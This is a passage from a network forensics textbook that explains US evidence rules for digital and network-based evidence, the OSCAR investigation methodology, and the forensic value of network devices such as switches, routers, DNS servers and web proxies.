Evidence in Criminal Investigations,” 203.
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[Dlistinctive characteristics like email addresses, nicknames, signature blocks, and
message contents can prove authorship, at least sufficiently to meet the thresh-
old for authenticity ... For example, in United States v. Simpson, 152 F.3d 1241
(10th Cir. 1998), prosecutors sought to show that the defendant had conversed with
an undercover FBI agent in an Internet chat room devoted to child pornography.
The government offered a printout of an Internet chat conversation between the
agent and an individual identified as ‘Stavron’ and sought to show that ‘Stavron’
was the defendant ... ‘Stavron’ had told the undercover agent that his real name
was ‘B. Simpson,’ gave a home address that matched Simpson’s, and appeared to be
accessing the Internet from an account registered to Simpson. Further, the police
found records in Simpson’s home that listed the name, address, and phone number
that the undercover agent had sent to ‘Stavron.” Accordingly, the government had
provided evidence sufficient to support a finding that the defendant was ‘Stavron,’
and the printout was properly authenticated.

Examples of “circumstantial evidence” can include:
e An email signature
e A file containing password hashes on the defendant’s computer

e The serial number of the USB device

1.3.5 Hearsay

“Hearsay” is the label given to testimony offered second-hand by someone who was not
a direct witness of the act or acts in question. It is formally defined by the FRE as “a
statement, other than one made by the declarant while testifying at the trial or hearing,
offered in evidence to prove the truth of the matter asserted.” This includes the comments
of someone who may have direct knowledge of an occurrence, but who is unable or unwilling
to deliver them directly to the court. Hearsay is generally not ruled admissible, unless it
falls into the category of an exception as listed in the FRE (Rules 803 and 804).

Digital evidence can be classified as hearsay if it contains assertions created by people.
The U.S. Department of Justice cites “a personal letter; a memo; bookkeeping records; and
records of business transactions inputted by persons” as examples of digital evidence that
would be classified as hearsay.’

However, digital evidence that is generated by a fully automated process with no human
intervention is generally not considered heresay. The Department of Justice explains:'°

Computer-generated records that do not contain statements of persons therefore
do not implicate the hearsay rules. This principle applies both to records gen-
erated by a computer without the involvement of a person (e.g., GPS tracking
records) and to computer records that are the result of human conduct other
than assertions (e.g., dialing a phone number or punching in a PIN at an ATM).

9. H. Marshall Jarrett, Director, EOUSA, “Searching and Seizing Computers and Obtaining Electronic
Evidence in Criminal Investigations,” 192.

10. H. Marshall Jarrett, Director, EOUSA, “Searching and Seizing Computers and Obtaining Electronic
Evidence in Criminal Investigations,” 193.
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In some cases, courts have admitted digital evidence using the “business records”
exception of the hearsay rule, which we discuss further in the next section. However, the
Department of Justice points out that in these cases, the courts overlooked the question
of whether the digital evidence should have been classified as hearsay in the first place.
“Increasingly ... courts have recognized that many computer records result from a process
and are not statements of persons—they are thus not hearsay at all.” 1!

Examples of “hearsay” can include:

e “The guy told me he did it.”
e “He said he knew who did it, and could testify.”
e “I saw a recording of the whole thing go down.”

e A text file containing a personal letter

1.3.6 Business Records

Business records can include any documentation that an enterprise routinely generates and
retains as a result of normal business processes, and that is deemed accurate enough to
be used as a basis for managerial decisions. The FRE specifically exempts business records
from the rule that hearsay is inadmissible, stating that:!2

The following are not excluded by the rule against hearsay, regardless of whether
the declarant is available as a witness: [...] A record of an act, event, condition,
opinion, or diagnosis if ... the record was kept in the course of a regularly
conducted activity of a business, organization, occupation, or calling, whether
or not for profit ...

This can include everything from email and memos to access logs and intrusion detection
system (IDS) reports. There may be legally mandated retention periods for some of this data.
Other records may be subject to internal retention and/or destruction policies. The bottom
line is that if the records are seen as accurate enough by the enterprise that they are the
basis for managerial decision making, then the courts usually deem them reliable enough
for a proceeding.

Digital evidence has been admitted under the “business records” exception to hearsay
many times, although in some cases this was erroneous. The Department of Justice points
out that “courts have mistakenly assumed that computer-generated records are hearsay
without recognizing that they do not contain the statement of a person.”

Examples of “business records” can include:

e Contracts and other employment agreements

e Invoices and records of payment received

11. H. Marshall Jarrett, Director, EOUSA, “Searching and Seizing Computers and Obtaining Electronic
Evidence in Criminal Investigations,” 191.

12. Committee on the Judiciary House (US) and US House Committee on the Judiciary, Federal Rules of
FEvidence, 17.
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e Routinely kept access logs

e /var/log/messages

1.3.7 Digital Evidence

“Digital evidence” is any documentation that satisfies the requirements of “evidence” in a
proceeding, but that exists in electronic digital form. Digital evidence may rest in micro-
scopic spots on spinning platters, magnetized to greater or lesser degrees in a somewhat
nonvolatile scheme, but regardless, unintelligible except through multiple layers of abstrac-
tion and filesystem protocols. In other cases, digital evidence may be charges held in volatile
storage, which dissipate within seconds of a loss of power to the system. Digital evidence
may be no more tangible, nor permanent, than pulses of photons, radio frequency waves, or
differential levels of voltage on copper wires.

Naturally, digital evidence poses challenges for investigators seeking to preserve it and
attorneys seeking to admit it in court. In order for evidence to be admissible in United
States federal courts, digital evidence must adhere to the same standards as other types of
evidence: it must be deemed relevant to the case and authentic. “The standard for authen-
ticating computer records is the same as for authenticating other records ...,” wrote the
U.S. Department of Justice (DoJ) in 2009. “Importantly, courts have rejected arguments
that electronic evidence is inherently unreliable because of its potential for manipulation.
As with paper documents, the mere possibility of alteration is not sufficient to exclude
electronic evidence. Absent specific evidence of alteration, such possibilities go only to the
evidence’s weight, not admissibility.” '3

Examples of “digital evidence” include:

e Emails and IM sessions

e Invoices and records of payment received

Routinely kept access logs

/var/log/messages

1.3.8 Network-Based Digital Evidence

“Network-based digital evidence” is digital evidence that is produced as a result of commu-
nications over a network. The primary and secondary storage media of computers (e.g., the
RAM and hard drives) tend to be fruitful fodder for forensic analysis. Due to data rema-
nence, persistent storage can retain forensically recoverable and relevant evidence for hours,
days, even years beyond file deletion and storage reuse. In contrast, network-based digital
evidence can be extremely volatile. Packets flit across the wire in milliseconds, vanish from
switches in the blink of an eye. Web sites change depending on from where they’re viewed
and when.

The requirements for admissibility of network-based digital evidence are murky. Often,
the source that generated the evidence is not obtainable or cannot be identified. When the

13. H. Marshall Jarrett, Director, EOUSA, “Searching and Seizing Computers and Obtaining Electronic
Evidence in Criminal Investigations” (Office of Legal Education Executive Office for United States Attorneys,
2009), 198-202, http://www.justice.gov/criminal /cybercrime/ssmanual/ssmanual2009.pdf.
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evidence is a recording of a chat log, blog posting, or email, the identity of the parties in
the conversation (and therefore the authors of the statements) may be difficult to prove.
When the evidence is a web site, the litigant may need to provide supporting evidence
to demonstrate that the image presented in court is what actually existed at the time
and location that it was supposedly viewed. For example, “[s]everal cases have considered
what foundation is necessary to authenticate the contents and appearance of a website at
a particular time. Print-outs of web pages, even those bearing the URL and date stamp,
are not self-authenticating. . .. Thus, courts typically require the testimony of a person with
knowledge of the website’s appearance to authenticate images of that website.” 1

There is little case precedent on the admissibility of network packet captures. Depending
on the method of capture and the details of the case, packet captures of network traffic may
be treated as recordings of events, similar to a taped conversation.

Examples of “network-based digital evidence” can include:

e Emails and IM sessions
e Browser activity, including web-based email
e Routinely kept packet logs

e /var/log/messages

1.4 Challenges Relating to Network Evidence

Network-based evidence poses special challenges in several areas, including acquisition, con-
tent, storage, privacy, seizure, and admissibility. We will discuss some common challenges
below.

e Acquisition It can be difficult to locate specific evidence in a network environment.
Networks contain so many possible sources of evidence—from wireless access points
to web proxies to central log servers—that sometimes pinpointing the correct location
of the evidence is tricky. Even when you do know where a specific piece of evidence
resides, you may have difficulty gaining access to it for political or technical reasons.

e Content Unlike filesystems, which are designed to contain all the contents of files
and their metadata, network devices may or may not store evidence with the level
of granularity desired. Network devices often have very limited storage capacity. Usu-
ally, only selected metadata about the transaction or data transfer is kept instead of
complete records of the data that traversed the network.

e Storage Network devices commonly do not employ secondary or persistent storage.
As a consequence, the data they contain may be so volatile as to not survive a reset
of the device.

e Privacy Depending on jurisdiction, there may be legal issues involving personal
privacy that are unique to network-based acquisition techniques.

14. H. Marshall Jarrett, Director, EOUSA, “Searching and Seizing Computers and Obtaining Electronic
Evidence in Criminal Investigations,” 204.
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Seizure Seizing a hard drive can inconvenience an individual or organization. Often,
however, a clone of the original can be constructed and deployed such that critical
operations can continue with limited disruption. Seizing a network device can be much
more disruptive. In the most extreme cases, an entire network segment may be brought
down indefinitely. Under most circumstances, however, investigators can minimize the
impact on network operations.

Admissibility Filesystem-based evidence is now routinely admitted in both crimi-
nal and civil proceedings. As long as the filesystem-based evidence is lawfully acquired,
properly handled, and relevant to the case, there are clear precedents for authenticat-
ing the evidence and admitting it in court. In contrast, network forensics is a newer
approach to digital investigations. There are sometimes conflicting or even nonexisting
legal precedents for admission of various types of network-based digital evidence. Over
time, network-based digital evidence will become more prevalent and case precedents
will be set and standardized.

1.5

Network Forensics Investigative Methodology (OSCAR)

Like any other forensic task, recovering and analyzing digital evidence from network sources
must be done in such a way that the results are both reproducible and accurate. In order
to ensure a useful outcome, forensic investigators should perform our activities within a
methodological framework. The overall step-by-step process recommended in this book is
as follows:

Obtain information
Strategize

Collect evidence
Analyze

Report

We refer to this methodology as “OSCAR,” and walk through each of these steps in the
following section.

1.5.1 Obtain Information

Whether you're law enforcement, internal security staff, or a forensic consultant, you will
always need to do two things at the beginning of an investigation: obtain information about
the incident itself, and obtain information about the environment.

1.5.1.1 The Incident

Usually you will want to know the following things about the incident:

Description of what happened (as is currently known)

e Date, time, and method of incident discovery
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e Persons involved

e Systems and data involved

e Actions taken since discovery

e Summary of internal discussions

e Incident manager and process

e Legal issues

e Time frame for investigation/recovery/resolution

e Goals

This list is simply a starting point, and you will need to customize it for each incident.

1.5.1.2 The Environment

The information you gather about the environment will depend on your level of familiarity
with it. Remember that every environment is constantly changing, and complex social and
political dynamics occur during an incident. Even if you are very familiar with an organi-
zation, you should always take the time to understand how the organization is responding
to this particular incident, and clearly establish who needs to be kept in the loop. Usually
you will want to know the following things about the environment:

e Business model

e Legal issues

e Network topology (request a network map, etc. if you do not have one)

e Available sources of network evidence

e Organizational structure (request an organizational chart if you do not have one)

e Incident response management process/procedures (forensic investigators are part of
the response process and should be at least basically familiar with it)

e Communications systems (is there a central incident communication system/evidence
repository?)

e Resources available (staff, equipment, funding, time)

1.5.2 Strategize

It is crucial that early on you take the time to accurately assess your resources and plan
your investigation. While this is important for any investigation, it is especially important
for network forensics because there are many potential sources of evidence, some of which
are also very volatile. Investigators must work efficiently. You will want to regularly confer
with others on the investigative/incident response team while planning and conducting
the investigation to ensure that everyone is working in concordance and that important
developments are communicated.
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Source of Evidence Likely Value Effort Volatility Priority
Firewall logs High Medium Low 2
Web proxy cache High Low Medium 1
ARP tables Low Low High 3

Figure 1-1. An example of evidence prioritization. In this example, we list potential sources
of evidence, the likely value, the likely effort to obtain it, and the expected volatility. These
values will be different for every investigation.

Here are some tips for developing an investigative strategy:

e Understand the goals and time frame of the investigation.

e List your resources, including personnel, time, and equipment.

e Identify likely sources of evidence.

e For each source of evidence, estimate the value and cost of obtaining it.
e Prioritize your evidence acquisition.

e Plan the initial acquisition/analysis.

e Decide upon method and times of regular communication/updates.

e Keep in mind that after conducting your initial analysis, you may decide to go back
and acquire more evidence. Forensics is an iterative process.

Figure 1-1 shows an example of evidence prioritization. In this example, the organization
collects firewall logs but stores them in a distributed manner on systems that are not easily
accessed. The organization has a web proxy, which is centrally accessed by key security staff.
ARP tables can be gathered from any system on the local LAN.

The table lists potential sources of evidence, the likely value for the investigation, the
expected effort required to obtain the evidence, and the expected volatility. All of these
values are unique to each investigation; every organization has different system configura-
tions, data retention policies, and access procedures. Furthermore, the network equipment,
investigative resources, and goals of each investigation vary widely.

Based on this information, we can create our evidence spreadsheet and prioritize
accordingly. Next, we would develop a plan for evidence acquisition based on our avail-
able resources.

1.5.3 Collect Evidence

In the previous step, “Strategize,” we prioritized our sources of evidence and came up with
an acquisition plan. Based on this plan, we then collect evidence from each source. There
are three components you must address every time you acquire evidence:

e Document—Make sure to keep a careful log of all systems accessed and all actions
taken during evidence collection. Your notes must be stored securely and may be
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referenced in court. Even if the investigation does not go to court, your notes will still
be very helpful during analysis. Be sure to record the date, time, source, method of
acquisition, name of the investigator(s), and chain of custody.

Capture—Capture the evidence itself. This may involve capturing packets and writ-
ing them to a hard drive, copying logs to hard drive or CD, or imaging hard drives of
web proxies or logging servers.

Store/Transport—Ensure that the evidence is stored securely and maintain the
chain of custody. Keep an accurate, signed, verifiable log of the persons who have
accessed or possessed the evidence.

Since the admissibility of evidence is dependent upon its relevance and reliability, inves-
tigators should carefully track the source, method of acquisition, and chain of custody. It’s
generally accepted that a bit-for-bit image of a hard drive is acceptable in court. For a lot
of network-based evidence, the admissibility is not so clear-cut. When in doubt, take careful
notes and consult legal counsel.

As with any evidence gathered in the course of an investigation, proper care must be
taken to preserve evidence integrity and to document its use and disposition throughout
its life cycle (from the initial acquisition to its return to its rightful owner). As we’ll see,
in some cases this may mean documenting and maintaining the physical chain of custody
of a network device. However, in many cases the original incarnation of the evidence being
acquired will never be taken into custody.

1.5.3.1 Tips for Evidence Collection

Best practices for evidence collection include:

Acquire as soon as possible, and lawfully
Make cryptographically verifiable copies

Sequester the originals under restricted custody and access (or your earliest copy, when
the originals are not available)

Analyze only the copies
Use tools that are reputable and reliable

Document everything you do!

1.5.4 Analyze

Of course the analysis process is normally nonlinear, but certain elements should be consid-
ered essential:

Correlation One of the hallmarks of network forensics is that it involves multiple
sources of evidence. Much of this will be timestamped, and so the first consideration
should be what data can be compiled, from which sources, and how it can be correlated.
Correlation may be a manual process, or it may be possible to use tools to do it for
you in an automated fashion. We’ll look at such tools later on.
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e Timeline Once the multiple data sources have been aggregated and correlated, it’s
time to build a timeline of activities. Understanding who did what, when, and how is
the basis for any theory of the case. Recognize that you may have to adjust for time
skew between sources!

e Events of Interest Certain events will stand out as potentially more relevant than
others. You’ll need to try to isolate the events that are of greatest interest, and seek
to understand how they transpired.

e Corroboration Due to the relatively low fidelity of data that characterizes many
sources of network logs, there is always the problem of “false positives.” The best
way to verify events in question is to attempt to corroborate them through multiple
sources. This may mean seeking out data that had not previously been compiled, from
sources not previously consulted.

e Recovery of additional evidence Often the efforts described above lead to a
widening net of evidence acquisition and analysis. Be prepared for this, and be prepared
to repeat the process until such time as the events of interest are well understood.

e Interpretation Throughout the analysis process, you may need to develop working
theories of the case. These are educated assessments of the meaning of your evidence,
designed to help you identify potential additional sources of evidence, and construct
a theory of the events that likely transpired. It is of the utmost importance that
you separate your interpretation of the evidence from fact. Your interpretation of the
evidence is always a hypothesis, which may be proved or disproved.

1.5.5 Report

Nothing you’ll have done to this point, from acquisition through analysis, will matter if
you’re unable to convey your results to others. From that perspective, reporting might be
the most important aspect of the investigation. Most commercial forensic tools handle this
aspect for the analyst, but usually not in a way that is maximally useful to a lay audience,
which is generally necessary.

The report that you produce must be:

e Understandable by nontechnical laypeople, such as:

— Legal teams

Managers
— Human Resources personnel
— Judges
— Juries

e Defensible in detail

e Factual

In short, you need to be able to explain the results of your investigation in terms that
will make sense for nontechnical people, while still maintaining scientific rigor. Executive
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summaries and high-level descriptions are key, but they must be backed by details that can
easily be defended.

1.6 Conclusion

Network forensic investigations pose a myriad of challenges, from distributed evidence to
internal politics to questions of evidence admissibility. To meet these challenges, investigators
must carefully assess each investigation and develop a realistic strategy that takes into
account both the investigative goals and the available resources.

We began this chapter with a series of case studies designed to illustrate how network
forensic techniques are applied in real life. Subsequently, we reviewed the fundamental con-
cepts in digital evidence, as employed in the United States common law system, and touched
upon the challenges that relate specifically to network-based digital evidence. Finally, we
provided you with a method for approaching network forensics investigations.

As Sun Tsu wrote 2,500 years ago: “A victorious army first wins and then seeks battle; a
defeated army first battles and then seeks victory.” Strategize first; then collect your evidence
and conduct your analysis. By considering the challenges unique to your investigation up
front, you will meet your investigative goals most efficiently and effectively.
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Technical Fundamentals

“If you know the enemy and know yourself, you need not fear the results of a hundred
battles.”” —Sun Tsu, The Art of War!

The Internet ecosystem is varied and complex. In any network forensic investigation, there
are an enormous number of places where evidence may live, some more accessible than
others. Often, network-based evidence exists in places that local networking staff may not
have considered, leaving it up to the investigator to review the network diagrams and make
suggestions for evidence collection.

On the flip side, many networks are configured for functionality and performance, not
for monitoring or auditing—and certainly not for forensic investigations. As a consequence,
the specific instrumentation or evidence that an investigator might wish for may not exist.
Many vendors do not include rich data recording capabilities into their products, and even
when they do, such capacities are often disabled by default. For example, local switches may
not be configured to export flow record data, or server logfiles might roll over and overwrite
themselves on a daily basis.

From Nortel’s line of enterpise-class networking equipment to Linksys’ ubuquitous
WRT54G router series in homes and small businesses, organizations can select from a wide
variety of equipment for any networking function. As a result, the experience of the network
forensic analyst is sure to be varied, inconsistent, and challenging.

In this chapter, we take a high-level look at classes of networking devices, discuss their
value for the forensic investigator, and briefly touch upon how their contents might be re-
trieved. Subsequently, we review the concept of protocols and the OSI model in the context
of network forensic investigations. Finally, we talk about key protocols in the Internet Proto-
col suite, including IPv4, IPv6, TCP, and UDP. This will provide you with a strong technical
and conceptual foundation, which we build upon throughout the remainder of this book.

2.1 Sources of Network-Based Evidence

Every environment is unique. Large financial institutions have very different equipment,
staff, and network topologies than local government agencies or small health care offices.
Even so, if you walk into any organization you will find similarities in network equipment
and common design strategies for network infrastructure.

1. Sun Tsu (Author), Lionel Giles (Translator), The Art of War, El Paso Norte Press, 2005. 23
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There are many sources of network-based evidence in any environment, including routers,
web proxies, intrusion detection systems, and more. How useful is the evidence on each
device? This varies depending on the type of investigation, the configuration of the specific
device, and the topology of the environment.

Sometimes data from different sources can overlap, which is useful for correlation. Other
times the data sources are merely complementary, each containing snippets of evidence
not found elsewhere. In this section, we review the types of network equipment that are
commonly found in organizations and discuss the types of evidence that can be recovered
from each.

2.1.1 On the Wire

Physical cabling is used to provide connectivity between stations on a LAN and the local
switches, as well as between switches and routers. Network cabling typically consists of
copper, in the form of either twisted pair (TP) or coaxial cable. Data is signaled on copper
when stations on the shared medium independently adjust the voltage. Cabling can also
consist of fiber-optic lines, which are made of thin strands of glass. Stations connected via
fiber signal data through the presence or absence of photons. Both copper and fiber-optic
mediums support digital signaling.

Forensic Value Network forensic investigators can tap into physical cabling to copy and
preserve network traffic as it is transmitted across the line. Taps can range from “vampire”
taps, which literally puncture the insulation and make contact with copper wires, to sur-
reptitious fiber taps, which bend the cable and cut the sheathing to reveal the light signals
as they traverse the glass. Many commercial vendors also manufacture infrastructure taps,
which can plug into common cable connectors and are specifically designed to replicate
signals to a passive station without degrading the original signal. (Please see Chapter 3,
“Evidence Acquisition,” for more details.)

2.1.2 In the Air

An increasingly popular way to transmit station-to-station signals is via “wireless” network-
ing, which consists of radio frequency (RF) and (less commonly) infrared (IR) waves. The
wireless medium has made networks very easy to set up. Wireless networks can easily be
deployed even without “line-of-sight”—RF waves can and do travel through air, wood, and
brick (though the signal will be degraded substantially by particularly dense materials). As
a result, enterprises and home users can deploy wireless networks without the expense and
hassle of installing cables.

Forensic Value Essentially, wireless access points act as hubs, broadcasting all signals so
that any station within range can receive them. As a result, it is often trivial for investigators
to gain access to traffic traversing a wireless network. The traffic may be encrypted, in which
case investigators would have to either legitimately obtain the encryption key or break the
encryption to access the content.

However, investigators can still gather a lot of information from encrypted wireless net-
works. Although data packets that traverse a wireless network may be encrypted, commonly
management and control frames are not. In the clear, wireless access points advertise their
names, presence, and capabilities; stations probe for access points; and access points re-
spond to probes. Even when analyzing encrypted wireless traffic, investigators can identify
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MAC addresses of legitimate authenticated stations, unauthenticated stations and suspi-
cious stations that may be attacking the wireless network. Investigators can also conduct
volume-based statistical traffic analysis and analyze these patterns.

With access to unencrypted or decrypted wireless traffic, of course, investigators can
review the full packet captures in detail.

2.1.3 Switches

Switches are the glue that hold our LANs together. They are multiport bridges that phys-
ically connect multiple stations or network segments together to form a LAN. In modern
deployments, we tend to see switches connected to other switches connected to other switches
ad nauseum to form a complex switched network environment.

In a typical deployment, organizations have “core” switches, which aggregate traffic from
many different segments, as well as “edge” switches,? which aggregate stations on individual
segments. Consequently, traffic from one station to another within an enterprise may traverse
any number of switches, depending on the physical network topology and the locations of
the stations within it.

Forensic Value Switches contain a “content addressable memory” (CAM) table, which
stores mappings between physical ports and each network card’s MAC address. Given a
specific device’s MAC address, network investigators can examine the switch to determine
the corresponding physical port, and potentially trace that to a wall jack and a connected
station.

Switches also provide a platform from which investigators can capture and preserve net-
work traffic. With many types of switches, network staff can configure one port to “mirror”
(copy) traffic from any or all other ports or VLANS, allowing investigators to capture traffic
from the mirroring port with a packet sniffer. Please see Section 3.1.4.1 for more detail.

2.1.4 Routers

Routers connect different subnets or networks together and facilitate transmission of packets
between different network segments, even when they have different addressing schemes.

Routers add a layer of abstraction that enables stations on one LAN to send traffic
destined for stations on another LAN. Internetworking using routers is what allows us to
build campus-wide metropolitan area networks (MANSs) or connect remote offices around the
globe via wide area networks (WANS). From a certain perspective, the entire global Internet
is nothing but a global area network (GAN), connected through a complex multilayer web
of routers.

Forensic Value Where switches have CAM tables, routers have routing tables. Routing
tables map ports on the router to the networks that they connect. This allows a forensic
investigator to trace the path that network traffic takes to traverse multiple networks. (Note
that this path can vary dynamically based on network traffic levels and other factors.)
Depending on the specific device’s capabilities, routers may also function as packet filters,
denying the transmission of certain types of traffic based on source, destination, or port.

2. “Encyclopedia—PC Magazine,” http://www.pcmag.com/encyclopedia_term/0,2542,t=edge+switch&i=
42362,00.asp.
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Routers may log denied traffic (or sometimes maintain statistics on allowed traffic). Many
enterprise-class routers can be configured to send logs and flow record data to a central
logging server, which is extremely helpful for investigators, as this makes it very easy to
correlate events from multiple sources. Logs stored on the router itself may be volatile and
subject to erasure if the device is rebooted or if the available storage is exceeded.

In short, routers are the most rudimentary network-based intrusion detection systems in
our arsenal, and also the most widely deployed.

2.1.5 DHCP Servers

The Dynamic Host Configuration Protocol (DHCP) is widely used as the mechanism for
assigning IP addresses to LAN stations, so that they can communicate with other stations
on the local network, as well as with systems across internetworked connections. In the
early days of networking, administrators had to manually configure individual desktops with
static IP addresses. DHCP was developed to provide automated IP address assignments,
which could change dynamically as needed, dramatically reducing manual workload for
administrators. DHCP service is often provided by the edge devices that perform routing
between networks (routers, wireless access points, etc.), but it is not uncommon to find this
service provided by infrastructure servers instead.

Forensic Value Frequently, investigations begin with the IP address of a host that is sus-
pected of being involved in some sort of adverse event—whether it was the victim of an
attack, the origin, or perhaps both. One of the first tasks the investigator must undertake
is to identify and/or physically locate the device based on its IP address.

When DHCP servers assign (or “lease”) IP addresses, they typically create a log of the
event, which includes the assigned IP address, the MAC address of the device receiving
the IP address, and the time the lease was provided or renewed. Other details, such as the
requesting system’s hostname, may be logged as well. Consequently, DHCP logs can show
an investigator exactly which physical network card was assigned the IP address in question
during the specified time frame.

2.1.6 Name Servers

Just as we need a mechanism to map MAC addresses to IP addresses, we also need a
mechanism to map IP addresses to the human-readable names that we assign to systems
and networks. To accomplish this, enterprises typically use the Domain Name System (DNS),
in which individual hosts query central DNS servers when they need to map an IP address
to a hostname, or vice versa. DNS is a recursive hierarchical distributed database; if an
enterprise’s local DNS server does not have the information to resolve a requested IP address
and hostname, it can query another DNS server for that information.

Forensic Value DNS servers can be configured to log queries for IP address and hostname
resolutions. These queries can be very revealing. For example, if a user on an internal desktop
browses to a web site, the user’s desktop will make a DNS query to resolve the host and
domain names of the web server prior to retrieving the web page. As a result, the DNS
server may contain logs that reveal connection attempts from internal to external systems,
including web sites, SSH servers, external email servers, and more.

DNS servers can log not only queries, but also the corresponding times. Therefore, foren-
sic investigators can leverage DNS logs to build a timeline of a suspect’s activities.
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2.1.7 Authentication Servers

Authentication servers are designed to provide centralized authentication services to users
throughout an organization so that user accounts can be managed in one place, rather than
on hundreds or thousands of individual computers. This allows enterprises to streamline
account provisioning and audit tasks.

Forensic Value Authentication servers typically log successful and/or failed login attempts
and other related events. Investigators can analyze authentication logs to identify brute-
force password-guessing attacks, account logins at suspicious hours or unusual locations,
or unexpected privileged logins, which may indicate questionable activities. Unlike analysis
of authentication logs on a single hard drive, a central authentication server can provide
authentication event information about all devices within an entire authentication domain,
including desktops, servers, network devices, and more.

2.1.8 Network Intrusion Detection/Prevention Systems

Unlike the devices we’ve discussed so far, network intrusion detection systems (NIDSs) and
their newer incarnations, network intrusion prevention systems (NIPSs), were specifically de-
signed to provide security analysts and forensic investigators with information about network
security-related events. Using several different methods of operation, NIDS/NIPS devices
monitor network traffic in real time for indications of any adverse events as they transpire.
When incidents are detected, the NIDS/NIPS can alert security personnel and provide in-
formation about the event. NIPSs may further be configured to block the suspicious traffic
as it occurs.

The effectiveness of NIDS/NIPS deployments depends on many factors, including pre-
cisely where sensors are placed in the network topology, how many are installed, and whether
they have the capacity to inspect the increasing volumes and throughputs of traffic we see in
the modern enterprise environment. While NIDS/NIPS may not be able to inspect, or alert
on, every event of interest, with a well-engineered deployment, they can prove indispensable.

Forensic Value At a high level, the forensic value of a NIDS/NIPS deployment is obvious:
They are designed to provide timely data pertaining to adverse events on the network.
This includes attacks in progress, command-and-control traffic involving systems already
compromised, or even simple misconfigurations of stations.

The value of this data provided by NIDS/NIPS is highly dependent upon the capabilities
of the device deployed and its configuration. With many devices it is possible to recover the
entire contents of the network packet or packets that triggered an alert. Often, however, the
data that is preserved contains little more than the source and destination IP addresses,
the TCP/UDP ports, and the time the event occurred. During an ongoing investigation,
forensic investigators can request that network staff tune the NIDS to gather more granular
data for specific events of interest or specific sources and destinations. (Please see Chapter 7
for more detail.)

2.1.9 Firewalls

Firewalls are specialized routers designed to perform deeper inspection of network traffic in
order to make more intelligent decisions as to what traffic should be forwarded and what
traffic should be logged or dropped. Unlike most routers, modern firewalls are designed to
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make decisions based not only on source and destination IP addresses, but also based on
the packet payloads, port numbers, and encapsulated protocols.

These days, nearly every organization has deployed firewalls on their network perimeters—
the network boundaries between the enterprise and their upstream provider. In an enterprise
environment, firewalls are also commonly deployed within internal networks to partition net-
work segments in order to provide enclaves that are protected from each other. Even home
users often have at least rudimentary firewall capabilities built into home routers, which are
leased from their ISPs or purchased off-the-shelf.

Forensic Value Originally, event logging was of secondary importance for firewall man-
ufacturers. Firewalls were not initially designed to alert security personnel when security
violations were taking place, even though they were most definitely designed to implement
security policies to prevent violations.

Today, modern firewalls have granular logging capabilities and can function as both
infrastructure protection devices and fairly useful IDSs as well. Firewalls can be configured
to produce alerts and log allowed or denied traffic, system configuration changes, errors, and
a variety of other events. These logs can help operators manage the network and also serve
as evidence for forensic analysts.

2.1.10 Web Proxies

Web proxies are commonly used within enterprises for two purposes: first, to improve per-
formance by locally caching web pages and, second, to log, inspect, and filter web surfing
traffic. In these deployments, web traffic from local clients is funneled through the web proxy.
The web proxy may either allow or deny the web page request (often based on published
blacklists of known inappropriate or malicious sites or on keywords in the outbound web
traffic).

Once the page is retrieved, the web proxy may inspect the returned content and choose to
allow, block, or modify it. For performance, the web proxy may cache the web page and later
serve it to other local clients upon request so that there is no need to make multiple requests
across the external network for the same web sites within a short period of time. The precise
functionality of the web proxy is strongly dependant upon the specific configuration; some
organizations choose to limit logging and run their web proxy only for performance reasons,
whereas other organizations heavily monitor and filter incoming and outbound web traffic
for security reasons.

There are also “anonymizing proxies,” which are set up with the explicit purpose of
providing anonymity to clients who deliberately funnel web surfing traffic through them.
End clients send their traffic through an anonymous web proxy so that the remote web
server only sees the proxy’s IP address rather than the end-user’s IP address. Depending
on the precise configuration of the anonymizing proxy, the proxy server may still cache
extensive information regarding the end-user’s web surfing behavior.

Forensic Value Web proxies can be a gold mine for forensic investigators, especially when
they are configured to retain granular logs for an extended period of time. Whereas forensic
analysis of a single hard drive can produce the web surfing history for users of a single device,
an enterprise web proxy can literally store the web surfing logs for an entire organization.
There are many commercial and free applications that can interpret web proxy logs
and provide visual reports of web surfing patterns according to client IP address or even
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username (i.e., when correlated with Active Directory logs). This can help forensic analysts
gather lists of users who may have succumbed to a phishing email, investigate a roving user’s
inappropriate web surfing habits, or identify the source of web-based malware. If the web
proxy is configured to cache web pages, it is even possible to retrieve the content that an
end-user viewed or carve malware out of a cached web page for further analysis.

2.1.11 Application Servers

Every organization has a variety of application servers, which vary depending on the orga-
nization’s industry, mission, size, budget, and many other factors. Common types of appli-
cation servers include:

e Database servers
e Web servers
e Email servers

e Chat servers

VoIP /voicemail servers

Forensic Value There are far too many kinds of application servers for us to review every
one in depth (there have been dozens if not hundreds of books published on each type
of application server). However, when you are leading an investigation, keep in mind that
there are many possible sources of network-based evidence. Review local network diagrams
and application documentation to identify the sources that will be most useful for your
investigation.

2.1.12 Central Log Servers

Central log servers aggregate event logs from a wide variety of sources, such as authentication
servers, web proxies, firewalls, and more. Individual servers are configured to send logs to the
central log server, where they can be timestamped, correlated, and analyzed by automated
tools and humans far more easily than if they resided on disparate systems.

The precise contents of a central logging server vary enormously depending on the orga-
nization and applicable regulations. Once a luxury that many enterprises did not bother to
invest in, deployment of central logging servers has been spurred by regulations and indus-
try standards. As a result, they are much more common today than they were just a few
years ago.

Forensic Value Much like intrusion detection systems, central log servers are designed to
help security professionals identify and respond to network security incidents. Even if an
individual server is compromised, logs originating from it may remain intact on the central
log server. Furthermore, devices such as routers, which typically have very limited storage
space, may retain logs for very short periods of time, but the same logs may be sent in real
time to a central log server and preserved for months or years. Some organizations have
installed commercial log analysis products that can provide forensic analysts with complex
reports and graphical representations of log data, correlated across a variety of sources.
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2.2 Principles of Internetworking

Communication on the Internet involves coordinating hundreds of millions of computers
around the world. In order to connect these systems together, we must have standards for
everything from physical cabling to application protocols. We must also ensure that our
system includes modularity and abstraction so that a change in the agreed-upon voltages
sent across a wire would not require that software engineers rewrite web applications. To
accomplish this, various software and hardware manufacturers, public standards bodies,
and individual hackers have developed protocols for communication. Since the late 1970s,
network designers have developed “layered” standards, such as the Open Systems Intercon-
nection (OSI) model, to coordinate the design of networking infrastructure.

2.2.1 Protocols

Protocols take on new meaning when viewed in the context of forensic investigation. At-
tackers bend and break protocols in order to smuggle covert data, sneak past firewalls,
bypass authentication, and conduct widespread denial-of-service (DoS) attacks. While net-
work designers and engineers view protocols as rules for facilitating communication between
stations, forensic investigators must view them as guidelines that attackers can leverage to
produce unexpected results.

Protocol Mismatch

A Japanese and an American diplomat are scheduled to meet one another and work together
on an item of transcontinental importance. Unfortunately, neither has been appropriately
briefed about the other’s customary manner of polite greeting. At the precise moment that
